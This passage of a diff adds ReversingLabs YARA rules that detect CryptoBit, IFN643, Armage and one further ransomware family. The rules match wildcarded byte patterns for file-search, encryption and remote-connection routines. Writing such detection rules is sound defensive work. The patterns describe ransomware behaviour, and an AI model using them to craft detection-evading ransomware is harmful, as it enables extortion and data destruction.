+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83
+            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B DE 4B 85 DB 7C ?? 43 33 F6 8D 55 ?? 33 C0 E8 ?? ?? ?? ?? 8B 45
+            ?? 8D 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ??
+            ?? ?? 8B 08 FF 51 ?? 8D 4D ?? 8B D6 A1 ?? ?? ?? ?? 8B 38 FF 57 ?? 8B 45 ?? B1 ?? BA
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 46 4B 75 ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 6A ?? E8 ?? ?? ?? ?? 6A ?? E8
+        }
+
+	condition:
+		uint16(0)==0x5A4D and $search_files and $encrypt_files and $remote_connection
+}
+rule REVERSINGLABS_Win32_Ransomware_Cryptobit : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects CryptoBit ransomware."
+		author = "ReversingLabs"
+		id = "8566e516-9884-5b20-90c4-7ed38fa96999"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.CryptoBit.yara#L1-L113"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "ccc8a0f1c5e11211649992d0f2b309968c97b49f1c7359e62d622f364e117429"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "CryptoBit"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files_p1 = {
+            55 8B EC 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83
+            7D ?? ?? 75 ?? FF 75 ?? EB ?? 6A ?? 59 83 C9 ?? 83 F1 ?? 89 4D ?? 6A ?? 6A ?? 6A ??
+            6A ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 0B C0 0F 84 ?? ?? ?? ?? 89 45 ?? 60 BE ?? ?? ??
+            ?? 56 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 33 D2
+            8B 0D ?? ?? ?? ?? F7 F1 0B C0 74 ?? FF 35 ?? ?? ?? ?? EB ?? 52 8B 0C 24 29 4D ?? 51
+            FF 75 ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 0B C0 74 ?? 89 45 ?? 51 FF
+            75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 75 ?? 89 45 ?? 89 4D ?? FF 75 ??
+            E8 ?? ?? ?? ?? EB ?? EB ?? 83 7D ?? ?? 75 ?? C7 45 ?? ?? ?? ?? ?? EB ?? A1 ?? ?? ??
+            ?? 01 45 ?? EB ?? EB ?? 8B 64 24 ?? 64 8F 05 ?? ?? ?? ?? 83 C4 ?? 61 EB ?? EB ?? 64
+            8F 05 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 8B 4D
+            ?? EB ?? 8B 45 ?? C9 C2
+        }
+		$encrypt_files_p2 = {
+            55 8B EC 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A
+            ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ??
+            ?? ?? ?? 89 45 ?? 8D 45 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ??
+            0B C0 74 ?? E9 ?? ?? ?? ?? 89 45 ?? 8B 15 ?? ?? ?? ?? 8B 4D ?? 0B C9 75 ?? 83 F8 ??
+            73 ?? E9 ?? ?? ?? ?? EB ?? 0B C9 75 ?? 3B C2 73 ?? 50 EB ?? 52 8F 45 ?? 83 7D ?? ??
+            75 ?? A1 ?? ?? ?? ?? 39 45 ?? 72 ?? FF 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? E8 ?? ?? ??
+            ?? 89 45 ?? 0B C0 74 ?? 6A ?? 50 51 FF 75 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A
+            ?? 6A ?? 6A ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 0B C0 74 ?? 89 45 ?? 60 BE ?? ?? ?? ??
+            56 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? FF 75 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF
+            75 ?? E8 ?? ?? ?? ?? 0B C0 74 ?? 50 8B 4D ?? 8B 04 24 83 C9 ?? 83 F1 ?? 51 50 E8 ??
+            ?? ?? ?? 89 45 ?? 0B C0 74 ?? 6A ?? 50 51 FF 75 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB
+            ?? 8B 64 24 ?? 64 8F 05 ?? ?? ?? ?? 83 C4 ?? 61 EB ?? EB ?? 64 8F 05 ?? ?? ?? ?? 83
+            C4 ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ?? ??
+            ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 8B 4D ?? EB ?? 33 C0 33 C9 C9 C2
+        }
+		$find_files_p1 = {
+            55 8B EC 83 C4 ?? 57 56 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? 8B 75 ?? 83 7E ?? ?? 75 ?? E8 ?? ?? ?? ?? 50 8D 46 ?? 50 E8
+            ?? ?? ?? ?? 23 C0 0F 84 ?? ?? ?? ?? EB ?? 83 7E ?? ?? 75 ?? FF 35 ?? ?? ?? ?? 8D 46
+            ?? 50 E8 ?? ?? ?? ?? 23 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 23 C0 0F
+            84 ?? ?? ?? ?? 89 45 ?? B9 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 23 C0 0F 84 ??
+            ?? ?? ?? 89 45 ?? 8B 75 ?? 8B 7D ?? 68 ?? ?? ?? ?? 57 56 E8 ?? ?? ?? ?? 8D 57 ?? 8B
+            47 ?? D1 E0 C7 04 10 ?? ?? ?? ?? C6 44 10 ?? ?? FF 75 ?? 8D 47 ?? 50 E8 ?? ?? ?? ??
+            83 F8 ?? 0F 84 ?? ?? ?? ?? 89 45 ?? 8B 55 ?? 8B 75 ?? 8B 7D ?? 8B 02 25 ?? ?? ?? ??
+            0F 85 ?? ?? ?? ?? 8B 02 83 E0 ?? 0F 85 ?? ?? ?? ?? 8B 02 83 E0 ?? F7 02 ?? ?? ?? ??
+            0F 85 ?? ?? ?? ?? 8D 47 ?? 50 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 42 ?? 50 8D 47
+            ?? 50 E8 ?? ?? ?? ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 89 47 ?? F7 02 ?? ?? ?? ??
+            74 ?? 68 ?? ?? ?? ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? FF 77 ?? 8D 47 ?? 50 E8 ?? ?? ?? ??
+            83 F8 ?? 74 ?? 83 F8 ?? 75 ?? 48 50 FF 76 ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 0B C0 75
+        }
+		$find_files_p2 = {
+            0B C9 74 ?? FF 45 ?? E9 ?? ?? ?? ?? 83 7A ?? ?? 0F 84 ?? ?? ?? ?? 81 7A ?? ?? ?? ??
+            ?? 0F 84 ?? ?? ?? ?? F7 02 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? F7 02 ?? ?? ?? ?? 0F 85 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 74 ?? 8B F8 FF 76 ?? 8F 47 ?? FF 76 ??
+            8F 47 ?? FF 36 8F 07 8D 47 ?? 50 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8D 42 ?? 50 8D
+            47 ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 8D 47 ?? 50 E8 ??
+            ?? ?? ?? 89 47 ?? 83 3F ?? 75 ?? 57 68 ?? ?? ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 0B C0 75
+            ?? 57 E8 ?? ?? ?? ?? EB ?? 57 E8 ?? ?? ?? ?? EB ?? E9 ?? ?? ?? ?? FF 75 ?? FF 75 ??
+            E8 ?? ?? ?? ?? 0B C0 0F 85 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
+            8B 75 ?? 83 7D ?? ?? 74 ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B
+            14 24 51 50 52 8D 46 ?? 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 D1 E1 8B 5C 24 ?? 51 50 53 8D 46
+            ?? 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ??
+            ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? E8 ??
+            ?? ?? ?? 8B 45 ?? 5E 5F C9 C2
+        }
+		$remote_connection = {
+            55 8B EC 81 C4 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ??
+            6A ?? E8 ?? ?? ?? ?? 23 C0 89 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A
+            ?? 6A ?? 6A ?? FF 75 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 89 85 ?? ?? ?? ?? 0F
+            84 ?? ?? ?? ?? 8D 5D ?? C7 03 ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ??
+            ?? ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 45 ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? FF B5 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 23 C0 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 23 C0 89 85 ?? ?? ?? ?? 74 ??
+            8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? FF B5 ?? ?? ?? ?? 0B C0 74 ?? 83 BD ?? ?? ?? ?? ?? 74 ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ??
+            FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? C9 C2
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($remote_connection and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)))
+}
+rule REVERSINGLABS_Win32_Ransomware_IFN643 : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects IFN643 ransomware."
+		author = "ReversingLabs"
+		id = "a4d211a7-6735-541e-885d-555bbc11e2cf"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.IFN643.yara#L1-L90"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "ced234018f1f05601dd3be55eaecd2a1e116ad0b7bb9e0292434f11f19916ebe"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "IFN643"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$search_files_1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 89 B5 ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8B D6 C7 45 ?? ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8
+            ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ??
+            83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 8D 8D ??
+            ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB
+            ?? 0F 84
+        }
+		$search_files_2 = {
+            80 BD ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 75 ?? 33
+            C0 EB ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 50 8D 85 ?? ?? ?? ??
+            50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8
+            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D6 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
+            ?? 8B C8 C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ??
+            ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 0D ?? ?? ?? ?? F7
+            E9 C1 FA ?? 8B C2 C1 E8 ?? 03 C2 83 F8 ?? 0F 83 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 85 C0 0F 8E ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D6 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8D 4D ?? C6 45 ?? ?? 51 8B D0 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8B 85 ??
+            ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ??
+            ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ??
+            0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ??
+            8B 35 ?? ?? ?? ?? 33 DB 2B CE C7 85 ?? ?? ?? ?? ?? ?? ?? ?? F7 E9 C7 85 ?? ?? ?? ??
+            ?? ?? ?? ?? C1 FA ?? 8B C2 C6 85 ?? ?? ?? ?? ?? C1 E8 ?? 03 C2 74 ?? 33 FF ?? ?? ??
+            8D 45 ?? 8D 0C 37 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 83 7D ?? ?? 89 45 ?? 8D 45 ?? 0F 43
+            45 ?? C6 00 ?? 8B 35 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B CE 43 F7 E9 83
+            C7 ?? C1 FA ?? 8B C2 C1 E8 ?? 03 C2 3B D8 72 ?? 83 7D ?? ?? 76 ?? 8D 45 ?? B9 ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 0D ?? ?? ?? ?? F7 E9 C1
+            FA ?? 8B C2 C1 E8 ?? 03 C2 83 F8 ?? 0F 83 ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ??
+            72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F
+            83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51
+            E8 ?? ?? ?? ?? 83 C4 ?? 8B 9D ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ??
+            ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83
+            F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ??
+            8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B
+            45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ??
+            8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76
+            ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1
+            ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8
+            ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ??
+            83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41
+            ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8
+            ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E
+            5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$encrypt_files = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ??
+            33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 65 ?? 8B C2 89 45 ?? 8B F9 8B 75 ?? 89 75 ??
+            C7 45 ?? ?? ?? ?? ?? 90 3B F8 0F 84 ?? ?? ?? ?? 89 75 ?? C6 45 ?? ?? 85 F6 74 ?? 8B
+            17 C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 83 7E ?? ?? C7 46
+            ?? ?? ?? ?? ?? 72 ?? 8B 06 EB ?? 8B C6 C6 00 ?? 80 3A ?? 75 ?? 33 C0 EB ?? 8B C2 8D
+            58 ?? 66 90 8A 08 40 84 C9 75 ?? 2B C3 50 52 8B CE E8 ?? ?? ?? ?? 8B 45 ?? 83 C6 ??
+            C6 45 ?? ?? 89 75 ?? 83 C7 ?? EB ?? 8B 55 ?? 51 8B 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A
+            ?? 6A ?? E8 ?? ?? ?? ?? 8B C6 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C3
+            2B 49 ?? E9 ?? ?? ?? ?? 2B 49 ?? E9 ?? ?? ?? ?? 2B 49 ?? E9 ?? ?? ?? ?? 2B 49 ?? E9
+            ?? ?? ?? ?? 33 C0 57 8B F9 40 F0 0F C1 05 ?? ?? ?? ?? 75 ?? 56 BE ?? ?? ?? ?? 56 E8
+            ?? ?? ?? ?? 83 C6 ?? 59 81 FE ?? ?? ?? ?? 7C ?? 5E 8B C7 5F C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and $search_files_1 and $search_files_2 and $encrypt_files
+}
+rule REVERSINGLABS_Win32_Ransomware_Armage : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Armage ransomware."
+		author = "ReversingLabs"
+		id = "94cf639b-7d9e-51ca-b547-e0d591581df2"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Armage.yara#L1-L128"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "aa8ddcbb0fdcad15e603e000db1d4f86eae7d42efce1c1d21dc3dd57ee9f4319"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Armage"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files_p1 = {
+            55 89 E5 53 8D 5D ?? 81 EC ?? ?? ?? ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 89 5D ?? 8D 5D
+            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 65 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 45
+            ?? 8D 50 ?? 8D 48 ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 40 ?? ?? 89 50 ?? 89
+            95 ?? ?? ?? ?? 8D 50 ?? 89 50 ?? 89 95 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 5D ?? 83 EC ?? 89 5D ??
+            8B 41 ?? 8B 51 ?? 8D 4D ?? 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 45 ?? 8D 5D ?? 83 EC ?? 89 5C 24 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 45 ?? 8D 5D ?? 39 D8 74 ?? 89 04 24 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 89 42 ?? 8B 55 ?? 89 4C 24 ?? 89 04 24 29 CA 89 54 24
+            ?? E8 ?? ?? ?? ?? 8B 55 ?? 89 42 ?? 8B 42 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 55 ?? 89 42
+            ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 55 ??
+            8B 42 ?? 89 04 24 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 8D ??
+            ?? ?? ?? 89 4C 24 ?? 89 85 ?? ?? ?? ?? 89 44 24 ?? 8B 55 ?? 8B 42 ?? 89 04 24 E8 ??
+            ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 4C 24 ?? 89 8D ?? ?? ?? ?? 89 4C 24 ?? 8B 85 ?? ?? ??
+            ?? 89 44 24 ?? 8B 55 ?? 8B 42 ?? 89 04 24 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 44 24
+            ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 89 5C 24 ?? 8B 8D ??
+            ?? ?? ?? 89 4C 24 ?? 89 85 ?? ?? ?? ?? 89 44 24 ?? 8B 55 ?? 8B 42 ?? 89 04 24 E8 ??
+            ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? 8D 45 ?? 89 04 24 E8
+        }
+		$encrypt_files_p2 = {
+            8B 55 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? 8D 4A ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D
+            55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24
+            ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ??
+            ?? 8B 40 ?? 8B 80 ?? ?? ?? ?? 85 C0 89 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? 80 78 ?? ?? 74 ?? 0F BE 40 ?? 89 04 24 B9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 EC ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ??
+            8B 45 ?? 85 C0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 5D
+            ?? C9 C3 90 8B 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            8B 00 8B 50 ?? B8 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 74 ?? C7 04 24 ?? ?? ?? ?? 8B 8D ??
+            ?? ?? ?? FF D2 83 EC ?? 0F BE C0 E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C5 ?? 8B 45 ?? 89
+            85 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83
